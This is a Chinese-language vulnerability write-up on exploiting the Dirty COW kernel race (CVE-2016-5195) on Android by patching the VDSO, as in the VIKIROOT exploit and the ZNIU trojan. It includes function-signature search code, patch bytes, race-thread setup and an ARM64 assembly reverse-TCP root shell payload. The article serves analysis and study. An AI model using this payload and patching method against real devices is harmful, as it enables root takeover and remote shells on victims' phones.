漏洞分析一百篇-03-Dirtycow条件竞争漏洞
CVE-2016-5195“脏牛漏洞”曝出一年多了,近期出现的网上出现一批木马ZNIU利用脏牛提权,和前段时间发现的VIKIROOT思路十分相似,这里就漏洞利用技术进行分细。
分析环境
推荐使用的环境 | 备注 | |
---|---|---|
操作系统 | Android 5.1.1 | 小米4C实体机 |
内核版本 | goldfidh 3.10.49 | no patch |
关于脏牛的POC分析和漏洞成因,在本文将不再分析,有兴趣的读者可以看这里,本文主要讲利用方法。通过POC我们可以利用读一个root文件,条件竞争获取root写。常见的思路就是找一个具有SUID的可执行文件,将su竞争写入,执行su获取root。但是这里有两个限制,一是本身具有root SUID的可执行文件不好找,二是SELinux中严格限制getuid。该exploit利用了ret-VDSO技术达到了绕过SELinux目的。
EXP分析
完整的EXP已经在VIKIROOT中提供了,这里不再重复。
VDSO介绍
VDSO(Virtual Dynamically-linked Shared Object)是个很有意思的东西,它将内核态的调用映射到用户态的地址空间中,使得调用开销更小,路径更好。
开销更小比较容易理解, 那么路径更好指的是什么呢?拿x86下的系统调用举例,传统的int 0×80有点慢,Intel和AMD分别实现了sysenter,sysexit和syscall,sysret,即所谓的快速系统调用指令,使用它们更快,但是也带来了兼容性的问题。于是Linux实现了vsyscall,程序统一调用vsyscall,具体的选择由内核来决定。而vsyscall的实现就在VDSO中。不光是快速系统调用,glibc现在也提供了VDSO的支持,open(),read(),write(),gettimeofday()都可以直接用VDSO中的实现,使得这些调用更快,glibc更兼容,内核新特性在不影响glibc的情况下也可以更快的部署。Linux(kernel 2.6以上)环境执行ldd /bin/sh
会发现有一个名字叫做linux-vdso.so.1的动态文件,而系统中却找不到它,它就是VDSO。
利用思路

EXP源代码在VIKIROOT工具中已经提供,这里对关键部分进行说明。
1. 使用getauxval获取执行VDSO的页
//vdso_addr指向包含有VDSO的页
void *vdso_addr = (void *)getauxval(AT_SYSINFO_EHDR);
2. 获取__kernel_clock_gettime的首地址。
由于内核中__kernel_clock_gettime的头部比较稳定,可以直接使用以下代码作为特征值在VDSO中搜索得到偏移地址。
/* __kernel_clock_gettime */
/* CMP W0, #0; CCMP W0, #1, #4, NE; B.NE #0x50 */
{
"\x1f\x00\x00\x71\x04\x18\x41\x7a\x81\x02\x00\x54", 12, // s_pattern, s_size
"\x1f\x00\x00\x71\x04\x18\x41\x7a", 8 //r_pattern, r_size
}
...省略...
// match the entry of __kernel_clock_gettime
target_offset = match_entry(vdso_addr, &entry)
3. patch掉VDSO。
漏洞利用代码的关键部分,事先写好一段arm下的 reverse-tcp-shell的payload,由于VDSO页有4K大小,在页尾有较大的空间没有利用可以存下payload。patch_vdso主要做两件事,一是使用patch掉__kernel_clock_gettime的头8字节,二是将payload写入VDSO页尾。
//patch __kernel_clock_gettime
buf[0] = '\xf0';
buf[1] = '\x03';
buf[2] = '\x1e';
buf[3] = '\xaa';
// MOV X16, X30; BL 0xEDC;
// 0xEDC is offset addr to payload in VDSO;
rel = VDSO_SIZE - payload_len - target_offset - 4;
*(uint16_t *)&buf[4] = (uint16_t)(rel / 4);
buf[6] = '\x00';
buf[7] = '\x94';
写入方法与CVE-2016-5195提供的POC中的方法一样,这里将VDSO作为可读文件,条件竞争写入。
arg.stop = false;
pthread_create(&pth1, NULL, madvise_thread, &arg);
pthread_create(&pth2, NULL, ptrace_thread, &arg);
sleep(5);
// maybe 5s not enough for complete writing payload.
// sleep(10);
// wait for thread finish;
arg.stop = true;
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
4. 触发漏洞,payload rootshell通过socket回连。
这是一段arm平台的payload,x86可一在VIKIROOT的灵感连接中找到。注意看payload.s
主要注释:
_start:
//save registers
stp x0, x1, [sp,#-16]!
// target init(0)
// return if getuid() != 0 or getpid() != 1
mov x8, SYS_GETUID
svc 0
cbnz w0, return
mov x8, SYS_GETPID
svc 0
cmp w0, 1
b.ne return
// return if open("/data/local/tmp/.x", O_CREAT|O_EXCL, ?) fails
// use "openat" instead since "open" is deprecated
// intended to detect write permission and avoid conflict
mov w0, 0 // dirfd is ignored
adr x1, path
mov w2, O_CREAT|O_EXCL
mov w3, S_IRWXU
mov x8, SYS_OPENAT
svc 0
cmn x0, #1, LSL#12
b.hi return
// fork is deprecated, replaced with clone
mov x0, SIGCHLD
mov x1, 0
mov x2, 0
mov x3, 0
mov x4, 0
mov x8, SYS_CLONE
svc 0
cbnz w0, return
// reverse connect
// sockfd = socket(AF_INET, SOCK_STREAM, 0)
mov x0, AF_INET
mov x1, SOCK_STREAM
mov x2, 0
mov x8, SYS_SOCKET
svc 0
mov x3, x0
// connect(sockfd, (struct sockaddr *)&server, sockaddr_len)
adr x1, sockaddr
mov x2, 0x10
mov x8,SYS_CONNECT
svc 0
cbnz w0, exit
// dup3(sockfd, STDIN, 0)
mov x0, x3
mov x2, 0
mov x1,STDIN
mov x8,SYS_DUP3
svc 0
mov x1, STDOUT
mov x8, SYS_DUP3
svc 0
mov x1, STDERR
mov x8, SYS_EXECVE
svc 0
exit:
mov x0, 0
mov x8, SYS_EXIT
svc 0
return:
ldp x0, x1, [sp],#16
mov x17, x30
mov x30, x16
nop // CMP W0, #0
nop // CMP W0, #1, #4, NE
br x17
这样当系统调用__kernel_clock_gettime时就会执行到BL 0xEDC
,进而跳转到payload,而该函数使用十分频繁,打开手机时钟即可触发。
5. 清理工作。
EXP写的较好的地方是对exploit之前的环境进行了保存,rootshell之后可以用原环境对VDSO再次patch,做到了无须重启,不损伤目标环境。测试的时候是回连adb shell,但是木马环境中是远程shell。
总结
在验证实验中最终是以失败告终了,由于BlackChat的关系就不再继续下去了,这里将验证结果分享给大家,结合ZNIU的木马分析相信大家能够掌握该EXP技术利用。同时也欢迎大家共同探讨BlackChat。
验证结果
测试时使用的环境如图:
通过dump下来的补丁,证明确实ret VSDO思路确实可行,这里看到patch__kernel_clock_gettime
和写入payload到VDSO页尾都成功了:
但是注意到当竞争时间过短时,payload可能存在写入不完全,我们这里将竞争时间加长。
而当payload写入完成,会发现手机立马重启了,这里分析失败的原因可能有两种。第一种是patch VDSO破坏了完整性,适当提高payload的位置。第二种是payload的问题,写一个更稳定的payload。碍于调试环境不方便你,花费太多时间,大家可以对比一下ZNIU的利用方法,相信就可以掌握了。